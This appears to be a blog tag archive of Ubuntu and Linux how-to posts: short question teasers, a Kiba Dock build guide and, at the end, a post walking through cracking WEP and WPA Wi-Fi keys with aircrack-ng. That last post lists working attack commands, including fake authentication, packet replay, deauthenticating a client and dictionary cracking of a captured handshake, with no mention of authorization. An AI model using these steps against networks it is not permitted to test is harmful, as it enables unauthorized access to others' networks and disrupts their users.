Tag Archives: ubuntu

Debian / Ubuntu: apt-get Force Reinstall Package

I am a new Debian Linux v.7.x / Ubuntu Linux LTS user. How do I reinstall a package using apt-get command line?

Read answer to: “Debian / Ubuntu: apt-get Force Reinstall Package

Tweet this    Share on Facebook

Powered by WPeMatico

Nginx Redirect Mobile / Smart Phone Traffic To Mobile Version Of the Web Site

I am a new nginx user and I would like to redirect all mobile / smart phone users from www.example.com to m.example.com domain. How do I detect a mobile phone browser in nginx? How do I redirect all mobile users to sub-domain using regex based rules? How can I automatically redirects visitors on mobile devices to its mobile version at http://m.example.com/ and also allow mobile devices to the desktop website at www.example.com if visiting via http://www.example.com/?desktop=true?

Read answer to: “Nginx Redirect Mobile / Smart Phone Traffic To Mobile Version Of the Web Site

Tweet this    Share on Facebook

Powered by WPeMatico

Awk Floating Point Number Addition Results Are Unexpected

I am using awk to grep ‘foo’ from a text file and cacluate sum of field # 7. But, result is rounded to an integer. I need exact result such as 385858.66 and not 385858 using the following command:

grep ‘foo’ 2012-2013.txt | awk ‘BEGIN{ sum=0.0}{ sub(“,”,””,$7); sum +=$7}END{ print “$” sum}’ $682444

I want $682444.57 as output. How can I force “awk” to do floating point math?

Read answer to: “Awk Floating Point Number Addition Results Are Unexpected

Tweet this    Share on Facebook

Powered by WPeMatico

Linux: Find Out How Much Disk Space Left On Hard Drive

I am a desktop support professional with experience working in a corporate call center environment. Recently, I started to admin RHEL based IBM Linux server. How do I determine how much disk space left in my Linux server? How do I find out how much disk space I have in Linux for each partition?

Read answer to: “Linux: Find Out How Much Disk Space Left On Hard Drive

Tweet this    Share on Facebook

Powered by WPeMatico

How to install Kiba Dock on Karmic and Lucid

Just managed to install kiba dock on my system today. I wanted to see what the hype was all about. I followed this guide on ubuntu-forums.

make sure you have compiz running before you install kiba dock.


1. sudo apt-get remove automake1.4

2. sudo apt-get install fakeroot automake1.9 build-essential libpango1.0-dev libgtk2.0-dev libgconf2-dev libglitz-glx1-dev librsvg2-dev libglade2-dev libxcomposite-dev subversion libtool libgtop2-dev python-gtk2-dev libgnome-menu-dev libgnomeui-dev libgnomevfs2-dev intltool libxml2-dev libglitz1-dev libcairo2 libdbus-1-dev libgtop2-7 libgnomevfs2-0 libgnomeui-0 librsvg2-2 python-feedparser libasound2-dev libsdl1.2-dev libdbus-glib-1-dev libgstreamer-plugins-base0.10-dev libgstreamer0.10-dev libgstreamer0.10-0 pidgin-dev libpurple-dev

3. svn co https://kibadock.svn.sourceforge.net/svnroot/kibadock/trunk/akamaru/ akamaru

4. svn co https://kibadock.svn.sourceforge.net/svnroot/kibadock/trunk/kiba-dock/ kiba-dock

5. svn co https://kibadock.svn.sourceforge.net/svnroot/kibadock/trunk/kiba-plugins/ kiba-plugins

6. svn co https://kibadock.svn.sourceforge.net/svnroot/kibadock/trunk/kiba-dbus-plugins/ kiba-dbus-plugins

7. svn co https://kibadock.svn.sourceforge.net/svnroot/kibadock/trunk/kiba-gaim-plugin kiba-gaim-plugin

8. svn co https://kibadock.svn.sourceforge.net/svnroot/kibadock/trunk/kiba-ephy-extension kiba-ephy-extension

9. cd kiba-dock

10. svn update -r 602 *

Follow this if you have 32 bit

cd akamaru/
./autogen.sh --prefix=/usr --exec-prefix=/usr
sudo make install
cd ..

cd kiba-dock/
./autogen.sh
sudo make install
cd ..

cd kiba-plugins/
./autogen.sh
sudo make install
cd ..

cd kiba-dbus-plugins/
./autogen.sh
sudo make install
cd ..

Follow this if you have 64 bit

cd akamaru/
./autogen.sh --prefix=/usr --exec-prefix=/usr --libdir=/usr/lib64
sudo make install
cd ..

cd kiba-dock/
./autogen.sh --prefix=/usr --libdir=/usr/lib64
sudo make install
cd ..

cd kiba-plugins/
CC="gcc -fPIC" ./autogen.sh --prefix=/usr --libdir=/usr/lib64
sudo make install
cd ..

cd kiba-dbus-plugins/
./autogen.sh --prefix=/usr --libdir=/usr/lib64
sudo make install
cd ..


Now add it to the startup applications

Go to System -> Preferences -> Startup Applications and add.

Name = Kiba Dock

Command = kiba-dock

Troubleshooting:

If you are getting compilation errors, then automake is probably causing problems. You need to gedit configuration.in or configuration.ac and change all the AC_SUBST("$WHATEVER") to AC_SUBST(WHATEVER)

Cracking WEP & WPA with IBM Lenovo X60 – Basics

At first injection with the Intel pro wireless cards was impossible. Then came the ipwraw driver. Now, we no longer need the ipwraw as the iwl3945 card supports injection. Most linux distros now ship with this driver.

Follow these steps for a succesful WEP crack in Ubuntu:

download necessary files
sudo apt-get install aircrack-ng

place card in monitor mode
sudo airmon-ng start wlan0

test injection
sudo aireplay-ng -9 -e linksys -a 00:14:6C:7E:40:80 mon0
(0% means injection not working)

capture data and write to file called output
sudo airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w output mon0

fake authentication
sudo aireplay-ng -1 0 -e linksys -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0

replay mode
sudo aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0

run aircrack
sudo aircrack-ng -z -b 00:14:6C:7E:40:80 output*.cap

For WPA cracking follow this:

monitor mode
sudo airmon-ng start wlan0

collect handshake
sudo airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w psk mon0

deauth connected client
sudo aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 mon0

cracking
sudo aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap

These are just refreshers. For more help check www.aircrack-ng.org